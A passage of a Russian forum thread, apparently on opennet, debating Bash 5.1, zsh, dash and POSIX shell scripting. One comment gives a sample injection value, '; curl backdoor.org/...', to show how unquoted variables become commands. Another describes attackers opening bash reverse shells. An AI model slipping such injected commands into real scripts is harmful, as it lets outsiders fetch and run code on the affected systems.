|
|
|
|
5.152, Аноним (152), 19:11, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Даже если его нет сейчас, что помешает его пушнуть в новом комите? Кто бы мог подумать что зверьцд можно и для скриптеров запилить!
| |
|
|
5.118, NNN (??), 16:34, 08/12/2020 [^] [^^] [^^^] [ответить]
| +3 +/– |
А ты ведь просмотрел весь код и точно знаешь, что там нет бэкдоров, верно?
| |
|
6.125, Энон (?), 17:01, 08/12/2020 [^] [^^] [^^^] [ответить]
| +3 +/– |
Специально для альтернативно одарённых. Необходимость доказательства утверждения лежит на утверждающем. Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
| |
|
7.126, Урри (ok), 17:11, 08/12/2020 [^] [^^] [^^^] [ответить]
| –5 +/– |
Согласен - доказывать отсутствие мозгов у Энона не надо - ведь по его же словам "Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
| |
7.145, Аноним (145), 18:06, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
Ну, как бы, к ИБ это плохо относится. Там больше наоборот, нужно доказывать отсутствие.
| |
|
|
|
|
|
|
|
|
|
6.247, нежданчик (?), 05:43, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Можно поинтересоваться, у вас уже доллар в свободной продаже или нет? Если - да, то покупайте на всё рубли, он скоро повысится! =))
| |
6.251, tmplsr (?), 09:53, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>Батников и волков коммандер достаточно для всего:-))
Азбуки Морзе. Телеграфным ключом вбиваешь команды, по светодиоду/пищалке считываешь ответ. Даже экран и клавиатура излишни.
| |
|
|
4.16, Аноним (16), 12:28, 08/12/2020 [^] [^^] [^^^] [ответить]
| +4 +/– |
Очень многие не сидят. У большинства моих знакомых венды дома нет, многим и по работе с ней пересекаться не приходится.
| |
|
5.19, Аноним (16), 12:31, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Лично у меня она есть, только в виртуалке. Нужно для работы, да и игрушечки не все пока на протоне идут. В принципе cmd.exe вполне достаточно для её скриптования, павершел же ничем не удобнее баша.
| |
|
6.25, заминированный тапок (ok), 12:42, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
зато на Lutris идут гораздо больше, чем на протоне (и даже есть интеграция с коллекцией steam)
а играться в виртуальной машине - ну такое...
| |
|
7.28, Аноним (16), 12:48, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но вообще, в QEMU то с проброшенной картой лучше чем с вендой на хосте работает, в dxvk всё же процентов на 10 ниже фреймрейт.
| |
|
|
9.56, Аноним (16), 14:02, 08/12/2020 [^] [^^] [^^^] [ответить] | +/– | Для хоста нужна другая карта, у меня был отдельный монитор, но вроде можно и с о... текст свёрнут, показать | |
|
|
|
6.128, Урри (ok), 17:14, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
К сожалению - недостаточно.
Многие вещи в батничках физически нельзя сделать. И в первую очередь - корректную экранизацию спецсимволов в многострочных данных.
| |
|
|
4.18, Аноним (18), 12:31, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
У меня нет окошек уже лет эдак 5 от слова совсем. До этого была XP в виртуалке для одной хитрой софтины.
| |
|
5.129, Урри (ok), 17:15, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
А у меня большой зоопарк виртуалок с вендой и пара с макосью (да-да, куэму умеет крутить на ..мм.. короче крутить в себе макось).
| |
|
|
3.31, Аноним (145), 13:14, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>ну или что там сейчас ещё для 10 сделали
WSL2 для вас сделали. Так что вам тоже на bash переходить.
| |
3.35, cjayho (?), 13:22, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
ее и на венде особо не жалуют изза адских тормозов и переусложненности
| |
|
2.6, Аноним (6), 12:07, 08/12/2020 [^] [^^] [^^^] [ответить]
| +7 +/– |
Что значит лучше? Это просто инструмент. Он либо подходит под твои задачи либо нет. Если не подходит, ищешь другой.
| |
2.8, Аноним (16), 12:10, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
Зшизмы заточены на комфортный интерактив (и куча плагинов комплектом соответственно тоже) и баш на скрипты, в значительной мере избавленные внешних вызовов. Он легче зш, но некоторые поведение в частности с пайпами и его ридлайн довольно своеобразное. Вроде я столкнулся с несовместимыми отличиями в глобах, сетопт и хэштейблах, из-за чего от поддержки зш в качестве интерпретатора пришлось отказаться. А кроме того, зш есть не каждой системе, и баш есть везде, поэтому если и брать зш, то только "для души".
| |
|
|
|
5.76, Аноним (230), 14:39, 08/12/2020 [^] [^^] [^^^] [ответить]
| –4 +/– |
И что? На один комп поставить можно, а на второй уже неподъёмная задача?
| |
|
6.114, имя (ok), 16:26, 08/12/2020 [^] [^^] [^^^] [ответить]
| +5 +/– |
Радуйся, что у тебя два «компа», а не зоопарк унаследованных серверов.
| |
|
7.156, Аноним (230), 19:25, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
Речь, вроде, шла не обо мне и не о владельцах зоопарков, а о тех, у кого
> больше одного компа
Два — это всё ещё больше одного, или я слишком давно не слежу за новостями арифметики?
P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCM, это говорит не о твоей крутости, а о твоей профнепригодности.
| |
|
8.188, имя (ok), 21:08, 08/12/2020 [^] [^^] [^^^] [ответить] | +/– | Ты не поверишь, но кроме админов существуют люди, которым на эти серваки тоже ну... текст свёрнут, показать | |
|
|
|
|
|
|
2.22, Аноним (22), 12:32, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Тебе скрипты писать или просто дефолтный интерпретатор? Если первое, то лучше питона или руби ты не найдёшь. Если второе — оставайся на баш и не трогай, дабы не сломалось.
| |
2.26, nomad__ (ok), 12:43, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Что всё-таки лучше для заурядного хомы: bash или zsh?
bash достаточно даже разрабу (как разраб говорю). Когда тебе понадобится zsh, ты об этом узнаешь.
| |
2.36, лолшто (?), 13:22, 08/12/2020 [^] [^^] [^^^] [ответить]
| +5 +/– |
Если стратежно к вопросу подходить, то изучать следует то, что позволит твоему опыту быть более переносимым. В данном случае - это bash.
| |
|
|
|
5.131, Урри (ok), 17:18, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Это тех, где выкидывают баш ради 600 киль пространства, но впихивают питон ради -100 метров?
| |
|
6.262, Аноним (230), 14:29, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> выкидывают баш ради 600 киль
в ~10 раз больше
> питон ради -100 метров
В ~10 раз меньше.
| |
|
|
|
|
2.37, rshadow (ok), 13:22, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
Если коротко: bash есть из коробки на каждом сервере, zsh если настроить то будет удобнее.
| |
|
3.51, Аноним (230), 13:46, 08/12/2020 [^] [^^] [^^^] [ответить]
| +3 +/– |
Не на каждом. Даже не на каждом сервере с линуксом. И bash, и zsh — это хорошо, но надо уметь пользоваться POSIX shell.
| |
|
4.55, 1 (??), 14:00, 08/12/2020 [^] [^^] [^^^] [ответить]
| –3 +/– |
вроде в любом линаксе sh - это просто hardlink на bash
| |
|
5.67, Аноним (230), 14:20, 08/12/2020 [^] [^^] [^^^] [ответить]
| +4 +/– |
Даже из мейнстримных дистров общего назначения — не в любом. В Debian-based и некоторых других это dash. Ежели дистр специализированный и урезанный, в нём может быть busybox с ash.
| |
|
|
3.94, Аноним (94), 15:30, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
Мне вот интересны индивидуумы, у которых всё удобно "если настроить". Небо синее, трава зелёная, если что-то настроить, оно будет удобнее.
А bash настроить нельзя?
| |
|
2.40, InuYasha (??), 13:24, 08/12/2020 [^] [^^] [^^^] [ответить]
| –6 +/– |
Пользую zsh уже с десяток лет. ЕДИНСТВЕННОЕ, чего в нём мне не хватает - поддержки оператора "==". Но это только в скриптах.
| |
2.66, abu (?), 14:20, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Программисты ставят zsh на десктоп, пожалуй, это хорошо. А на сервер ... мне лично лень городить его на каждом сервере, хватает и bash'a.
| |
2.140, grayich (ok), 17:44, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
в принципе пофик, но для меня например решает автодополнение по Tab в zsh, в баше неудобно
| |
2.170, Аноним (170), 20:19, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Для скриптов командная оболочка POSIX, для интерактивной работы то, что установлено по умолчанию.
| |
|
|
2.155, VINRARUS (ok), 19:24, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
ставь dash как /bin/sh, он в разы быстрее
su
apt-get install dash
if [ -f /bin/dash ]
then
rm -f /bin/sh
ln -s /bin/dash /bin/sh
fi
sh
| |
|
1.23, Аноним (39), 12:36, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– |
> 5.1
Вот она, программа здорового человека... ой, простите, человека без инвалидности!
| |
|
2.158, VINRARUS (ok), 19:35, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
>> 5.1
> Вот она, программа здорового человека... ой, простите, человека без инвалидности!
Гумонитарии они такие: пишут... ой, простите, рисуют код кисточками, а версии меняют через insert.
Правда называть инвалидами тех кто пишет более эфективный код это так по ЛГБтшно...
| |
|
|
2.30, Аноним (30), 13:08, 08/12/2020 [^] [^^] [^^^] [ответить]
| +6 +/– |
Что же у Вас тут за собрание "лучше-хуже"?
Чем колбаса хуже сосиски?
Разные они, вот и всё. Что больше нравится - тем и пользуйтесь.
| |
2.33, Ordu (ok), 13:20, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
У zsh имя нечитаемое совершенно: "зш", ну что это? Как это читать?
| |
|
|
4.58, Ordu (ok), 14:05, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
> Вообще все его читают как "зэ - эс - аш".
Ну я о том же. Вынос мозга, а не название. гэцэцэ с гэдэбэ и то лучше.
| |
|
5.71, IRASoldier_registered (ok), 14:26, 08/12/2020 [^] [^^] [^^^] [ответить]
| –4 +/– |
>гэцэцэ
Тяжкое наследие советской школы с повальным изучением немецкого вместо английского.
Так что "джи-си-си".
>гэдэбэ
"джи-ди-би", подсказывает Кэп.
>"зэ-эс-аш"
Хрена два. Общепринятое произношение - z[ee]sh / z[i]sh, т.е. "зиш". Баш и зиш, да.
| |
|
6.88, Ordu (ok), 15:06, 08/12/2020 [^] [^^] [^^^] [ответить] | +2 +/– | Во-первых, не немецкого, а латинского эти произношения букв взяты из латинского... большой текст свёрнут, показать | |
|
|
8.123, Ordu (ok), 16:52, 08/12/2020 [^] [^^] [^^^] [ответить] | +/– | Любопытно Он произносит z как zee, а sh, как аббревиатуру -- ass eitch, -- то... текст свёрнут, показать | |
|
|
8.242, Ordu (ok), 02:21, 09/12/2020 [^] [^^] [^^^] [ответить] | +/– | Не проецируй своих тараканов на меня У меня нет цели сохранять традицию ты мож... большой текст свёрнут, показать | |
|
|
10.282, Ordu (ok), 07:00, 10/12/2020 [^] [^^] [^^^] [ответить] | +/– | Ты к ней отослался, начав говорить про то, что советский союз немецкий язык ... большой текст свёрнут, показать | |
|
|
12.287, Ordu (ok), 04:42, 11/12/2020 [^] [^^] [^^^] [ответить] | +/– | Не могу сказать, чтобы у меня была бы какая-то оформленная позиция на счёт языко... большой текст свёрнут, показать | |
|
|
14.291, Ordu (ok), 05:37, 13/12/2020 [^] [^^] [^^^] [ответить] | +/– | Я не говорил ничего о том, что кто-то непременно должен Я говорил о том, что ... большой текст свёрнут, показать | |
|
|
16.296, Ordu (ok), 12:14, 15/12/2020 [^] [^^] [^^^] [ответить] | +/– | Но ты реально ведь путаешь, пытаясь объяснить мне, что я должен использовать анг... большой текст свёрнут, показать | |
|
|
|
|
|
|
|
|
|
7.252, tmplsr (?), 10:00, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>Во-первых, не немецкого, а латинского:
Томик "Писем тёмных людей" про средневековую латынь этому адеквату!
| |
|
|
|
|
|
4.91, Ordu (ok), 15:12, 08/12/2020 [^] [^^] [^^^] [ответить]
| –2 +/– |
> Прочитайте-ка ssh, пожалуйста
Да, тоже гумно. Но альтернатив нету.
| |
4.139, IRASoldier_registered (ok), 17:30, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
"Эс-эс-эйч", никаких проблем. Ну, разве что, может быть, "язык ломается" у тех, кому по каким-то причинам неприятно все иностранное.
| |
|
|
|
1.32, Аноним (32), 13:15, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
Баш вместе с линукс утилитками производительнее питона получается. И времени на код меньше уходит.
| |
|
2.45, InuYasha (??), 13:28, 08/12/2020 [^] [^^] [^^^] [ответить]
| –3 +/– |
Только maximum дырявity, поскольку разделение данные-инструкции очень слабое - т.е. часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".
| |
|
3.52, Аноним (230), 13:49, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
> часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".
Это от криворукости. Разыменование переменной вне двойных кавычек бывает нужно крайне редко и только в тех случаях, когда ты сам эту переменную определил.
| |
|
4.59, Аноним (16), 14:06, 08/12/2020 [^] [^^] [^^^] [ответить]
| –2 +/– |
Зато eval нужен очень часто, и ничего ты с этим не сделаешь.
| |
|
|
6.75, Аноним (16), 14:34, 08/12/2020 [^] [^^] [^^^] [ответить]
| –2 +/– |
> нет не нужен
Наверно твои скрипты совершенно неконфигурируемая лапша из одного харкода, тогда конечно. При определённой сложности скриптов возникает желание предоставить пользователю возможность конфигурировать части логики в своём конфигурационном файле (а заодно избавиться от необходимости постоянно править хардкод). При том хочется его не насиловать его лишний раз, так что да, очень даже нужен.
| |
|
7.77, Аноним (16), 14:39, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
А, ещё eval на хештейблы натравливать очень удобно. Хештейблы на порядки удобней альтернатив, особенно когда у тебя неизвестно число параметров. Держать десятки списков в памяти, чтобы отказаться от хэштейблов? Ну, удачи это потом сопровождать.
| |
|
|
5.79, Аноним (230), 14:42, 08/12/2020 [^] [^^] [^^^] [ответить]
| +3 +/– |
> eval нужен очень часто
Пишу много скриптов и со всей ответственностью могу сказать, что eval нужен крайне редко. Скорее всего, ты что-то не осилил и сильно усложняешь решение своих задач, если пользуешься им часто.
| |
|
6.81, Аноним (16), 14:52, 08/12/2020 [^] [^^] [^^^] [ответить]
| –2 +/– |
Редко не редко, примерно в 1 из 10 случаев без него никак. Или как, но в 1000 раз сложнее и запутанее. Другое дело, что можно и взять питон. И использовать eval уже в нём, ахаха! Ну там ast.literal_eval есть что всё же получше. Да и в целом eval в питоне нужен примерно никогда, а вот в баше без него просто никуда. Вообще все динамические хэштейблы, массивы, переменные это всё eval будет.
| |
|
7.89, Аноним (230), 15:07, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> примерно в 1 из 10 случаев без него никак
У меня другая статистика. Приведи пример, что ли. (Хешами и массивами не пользуюсь, ибо переносимость нужна.)
| |
7.134, Урри (ok), 17:22, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
Как и аноним выше пишу много скриптов. Анализ поступающих данных с выводом через gnuplot, например. Практически каждый день приходится что-то новое скриптовать для аналитиков.
За последние года два ни разу не использовал eval.
| |
|
|
9.171, Аноним (230), 20:20, 08/12/2020 [^] [^^] [^^^] [ответить] | +/– | Если ты пишешь интересную логику и динамические вычисления, для которых bash сли... текст свёрнут, показать | |
|
|
|
|
5.107, Аноним (103), 16:05, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Зато eval нужен очень часто, и ничего ты с этим не сделаешь.
очень даже сделаешь
eval ${VARNAME@Q}
| |
|
6.119, Аноним (16), 16:35, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Но я так и не придумал, где это можно применить. Я пытался, честно. Разве что выводить имена файлов с \r. Мне кажется, ты не понимаешь, что это, и для чего.
| |
|
7.195, Аноним (195), 21:40, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
это везде можно применить. просто предварительно загоняй строку для eval в переменную, а потом уже ее eval-ь с этим экспандером. eval в принципе страшен и уязвим только тогда, когда ему можно подсунуть невалидированные данные от пользователя. а данная конструкция позволяет без лишнего гемора отсечь всякие инджекшены
| |
|
|
|
4.248, Аноним (248), 06:40, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
У вас уже есть идеальные программисты, которые никогда не ошибаются? В противном случае, использовать язык-ногострел себе дороже.
| |
|
5.258, Аноним (230), 14:00, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
У тебя уже есть идеальный язык, который не позволяет выстрелить себе в ногу?
| |
|
|
|
2.46, Аноним (16), 13:36, 08/12/2020 [^] [^^] [^^^] [ответить]
| –4 +/– |
До тех пор пока ты не начнёшь ежесекундно спамить тысячами процессов, да и с мультипоточностью пострадать придётся больше чем в питоне (там гил и гц мешают счастью).
| |
|
3.61, Аноним (32), 14:08, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине
| |
|
4.63, Аноним (16), 14:16, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине
Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? А главное, сколько там было тредов? Когда большая часть времени исполнения уходит на паразитную нагрузку и "бесполезный" бойлерплейт (это что касается xargs и parallel), это всё же ощутимо.
| |
|
5.65, Аноним (32), 14:19, 08/12/2020 [^] [^^] [^^^] [ответить]
| +1 +/– |
>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?
А питон так умеет?
| |
|
6.72, Аноним (16), 14:27, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?
> А питон так умеет?
С процессами без проблем, параллелится на сотни (это то что я проверял). С тредами потолок будет раньше, совсем плохо будет если использовать pure python батарейки — там вообще не параллелится практически. Дело как раз в том, что питону не придётся нонстоп вызывать сотни-тысячи программ и ждать их завершения, он сам всё может. А структуры его куда более дружелюбны для данных, вон в шелле даже многомерного массива нет и приходится городить очень неприятные конструкции не эффективные по памяти.
| |
|
7.135, Урри (ok), 17:23, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Ну вот питон - сотни, а баш выше - тысячи. Комментарии, как говорится, излишни.
| |
|
8.150, Аноним (16), 18:32, 08/12/2020 [^] [^^] [^^^] [ответить] | –1 +/– | А кстати, мне тут понадобилось сложить пару чисел в баше Ну такое, гигабайты чи... текст свёрнут, показать | |
|
9.263, Аноним (263), 14:37, 09/12/2020 [^] [^^] [^^^] [ответить] | –1 +/– | Числодробилки никто не пишет на интерпретаторах Если брать интерпретатор, то са... текст свёрнут, показать | |
|
|
|
|
5.265, Аноним (263), 14:43, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?
FYI https://github.com/gh0stwizard/yafb Там две ветки с разным подходом.
Твой вопрос смешной, т.к. 2000 процессов, которые тупо складывают одно число убивают (ну раньше убивали) линукс полностью. Если не понял в чем суть вопроса, то ты make -j 10000 делаешь или как велят умные дяди make -j {кол-во ядер + 1}? Ок, даже если ты чутка в теме и скажешь, что это из-за disk i/o, то смотри линк выше, там нет никакого disk i/o.
| |
|
6.270, Аноним (16), 15:47, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Не делай вид, что не понял, о чём я. Никто не говорил о единовременном форкании, только о последовательном. Особенно ощутимо это в венде конечно, в линуксе с некоторых пор получше, но тоже не сахар.
| |
|
|
|
3.64, Аноним (32), 14:17, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Ещё бывает сами утилиты поддерживают параллельность, например sort и curl.
| |
|
2.130, Нанобот (ok), 17:16, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
неправда. баш тормознутее питона на порядок. или на два порядка (не помню, давно мерял)
| |
|
3.161, VINRARUS (ok), 19:48, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Сравни скорость утиилты gsed с, прости Господи, питоном.
Именно про bunutils+sh идёт речь.
| |
|
4.173, Аноним (16), 20:22, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, find в 100 раз быстрее (на холодную так и вообще). А os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не баш, а си, сам баж тормозной и питон чаще всего быстрее чем вызов сишной утилиты из баша (миллион раз на каждое слово, например).
| |
|
5.189, VINRARUS (ok), 21:11, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Если про что и говорить, то это в питоне подозрительно тормозной os.scandir,
> find в 100 раз быстрее (на холодную так и вообще). А
> os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не
> баш, а си, сам баж тормозной и питон чаще всего быстрее
> чем вызов сишной утилиты из баша (миллион раз на каждое слово,
> например).
а интерпретатор питона на чом написан?
| |
|
6.190, Аноним (16), 21:26, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Вроблема в "вызов", если бы сишный код можно было подключить в баш через ффи и не спамить процессами, он работал бы так же быстро, как и в питоне.
| |
6.192, Аноним (16), 21:29, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Интерпретатор там си (или уже плюсы не помню), только это отношения никакого не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.
| |
|
7.194, VINRARUS (ok), 21:39, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Интерпретатор там си (или уже плюсы не помню), только это отношения никакого
> не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.
Дя, когда shell не может то звёт своих нативный дружков. :)
| |
|
|
|
4.174, Аноним (16), 20:24, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Регулярки в питоне кстати сишные, и более простые чем расширенный сед (а не расширенный оставьте себе). Ты точно меряешь корректно?
| |
|
5.209, Аноним (230), 22:47, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Регулярки в питоне кстати сишные
В Си есть регулярки? Вот это да!
> и более простые чем расширенный сед
Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).
| |
|
6.212, Аноним (16), 22:53, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>В Си есть регулярки? Вот это да!
А на каком языке, по-твоему, написана libpcre? Конечно, есть, не всё же плюсами одними (плюсовая бтв понерфленная).
>Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).
И даже atomic group нет! Фи.
| |
|
7.239, Аноним (230), 02:16, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Регулярки в питоне не более сишные чем весь питон, как бы. (И не менее, да.)
> И даже atomic group нет!
Как будто в седе есть. Там даже незахватывающей группировки нет.
| |
|
|
|
|
|
2.159, VINRARUS (ok), 19:38, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Баш вместе с линукс утилитками производительнее питона получается. И времени на код
> меньше уходит.
А даш в большых скриптах в разы быстрее баша может быть, так может стоит с колеса вынуть ветку?
| |
|
3.272, Аноним (230), 17:50, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
А потом — то есть perl. А потом — что есть python, и дальше по кругу.
| |
|
4.277, Аноним (263), 21:58, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>А потом — то есть perl.
Как перловик со стажем, ответственно заявляю, что бородатые дядьки, которые говорили, что awk решает 95% задач perl, были абсолютно правы. Да, на перле можно делать что-то сложнее, но в контексте скриптов, не _приложений_, awk намного удобнее, т.к. а) есть во всех системах б) стандартизированный (не нужно трахатся с вопросом а есть в _этой_ системе такой-то пакет) в) компактный г) законченный. Если вопрос стоит на чем писать _приложение_, то вариантов масса, факторов влияющих на решение задачи масса и решений масса. Опять же, из личного опыта, приложение писать скорее всего придется на чем-то сложнее чем awk, включая perl.
| |
|
|
|
1.43, Аноним (43), 13:26, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать скрипты которые будут одинаково работать и под башем, и под zsh, и под чем угодно еще
| |
|
2.53, Аноним (230), 13:54, 08/12/2020 [^] [^^] [^^^] [ответить]
| +3 +/– |
Читай стандарт, тестируй скрипты в разных шеллах (как минимум dash и ksh). Самый надёжный способ.
Если для начального изучения, то на русском выходила книжка Кочана и Вуда, может быть, ещё найдёшь в продаже.
| |
|
3.90, Аноним (230), 15:10, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Смысл в этом тот, что написанный тобой скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. Ну если ты программист, то есть. Если админ, то смысла, может быть, и нет, тебе виднее.
| |
|
4.96, вынь любит вас во все девайсы (?), 15:39, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Это понятно, насколько оно будет в итоге работать как надо, вот вопрос. Тот же баш не совместим между собой в зависимости от версии. Т.е. что лучше универсальный скрипт, возможно вызывающий проблемы или нативный баш, который можно доставить с большинстве случаев. Получается нужно учитывать зоопарк шелов и их версий, нет? А сложность скрипта и накладываемые ограничения?
Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно. В общем, филькин труд.
| |
|
5.108, InuYasha (??), 16:06, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Мой пример: на телевизоре нет bash, только sh. От линукса там практически только ядро. То же самое на андроеде, особенно в recovery. На самом деле, только в настольно-серверные Люляксы ваш баш и завезли. А больше - никуда.
| |
|
6.138, Урри (ok), 17:27, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Под ведроид есть фришный termux с башем и терминалами. Ставь и не парься.
| |
|
7.253, InuYasha (??), 11:55, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Под ведроид есть фришный termux с башем и терминалами. Ставь и не
> парься.
Ствалю. Только чем он при внешнем подключении поможет?
| |
|
|
5.120, Аноним (230), 16:36, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> универсальный скрипт, возможно вызывающий проблемы
Если он вызывает проблемы, он не универсальный.
> Получается нужно учитывать зоопарк шелов и их версий, нет?
Нет. Как правило, достаточно придерживаться стандарта и не использовать то, что выходит за его рамки.
> А сложность скрипта и накладываемые ограничения?
Если скрипт получается слишком сложным, его лучше писать на другом языке. Шелл хорош для сравнительно простых вещей.
> Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно.
Ну, то есть, ты не программист, о чём я и писал. Программист зачастую знает очень мало о целевой системе и не имеет возможности повлиять на состав установленного на ней софта. Для контролируемых тобой систем, безусловно, можешь использовать, что тебе вздумается.
| |
|
4.165, nebularia (ok), 20:01, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет.
Напрямую зависит от назначения скрипта. Если решает десктопные задачи, то баш там будет с вероятностью 99%. Оставшийся процент поставит, не облезет. Если потенциально возможно использование на серверах или в эмбеде, тогда да.
| |
|
3.122, псевдонимус (?), 16:41, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
>>> которые будут одинаково работать и под башем
> Какой в этом смысл, когда баш есть везде, но может быть не
> установлен по умолчанию.
Так он есть везде или не установлен?
| |
3.216, OpenEcho (?), 23:37, 08/12/2020 [^] [^^] [^^^] [ответить]
| –2 +/– |
> Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию.
Смысл очень простой -> безопасность.
Первое, что чаще всего делают взломщики используя зиро-дэй дыру, это запуск баша в режиме реверс консоли (т.к. баш спокойно говорит на языках TCP/UDP) и имееют по полной удаленную систему, которая как правило даже не заметит в логах конекты из баша. Поэтому уважающие свое время админы делают chmod 750 root:root /bin/bash /bin/gawk ... , a юзеров приучают быть ПОСИКС совместимыми разрешая им максимум /bin/sh
| |
|
2.113, samsamy4 (ok), 16:22, 08/12/2020 [^] [^^] [^^^] [ответить]
| +2 +/– |
Пиши скрипты на dash. Он максимально POSIX-совместимый. Ман у него маленький, вполне можно за пару часов освоить.
| |
|
|
4.177, Аноним (230), 20:29, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, dash — урезанный форк ash, так что баги у них вполне могут быть общие. В-третьих, если баг и был, из твоих же слов следует, что он давно исправлен.
| |
|
5.181, VINRARUS (ok), 20:39, 08/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
> Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых,
> dash — урезанный форк ash, так что баги у них вполне
> могут быть общие. В-третьих, если баг и был, из твоих же
> слов следует, что он давно исправлен.
Мне тоже было неимоверно сложно в это поверить — больше года не верил пока не начал раскопки.
dash имеет сообщение о завершении фонового процеса, а busybox ash нет.
И да, исправлено костылём в скрипте всего лиш.
ПС: разве ash развивает щас кто то?
| |
|
|
|
2.172, Аноним (170), 20:21, 08/12/2020 [^] [^^] [^^^] [ответить]
| –1 +/– |
Берёшь стандарт POSIX и читаешь. Он учится полностью за один вечер.
| |
2.221, Аноним (263), 00:40, 09/12/2020 [^] [^^] [^^^] [ответить]
| +/– |
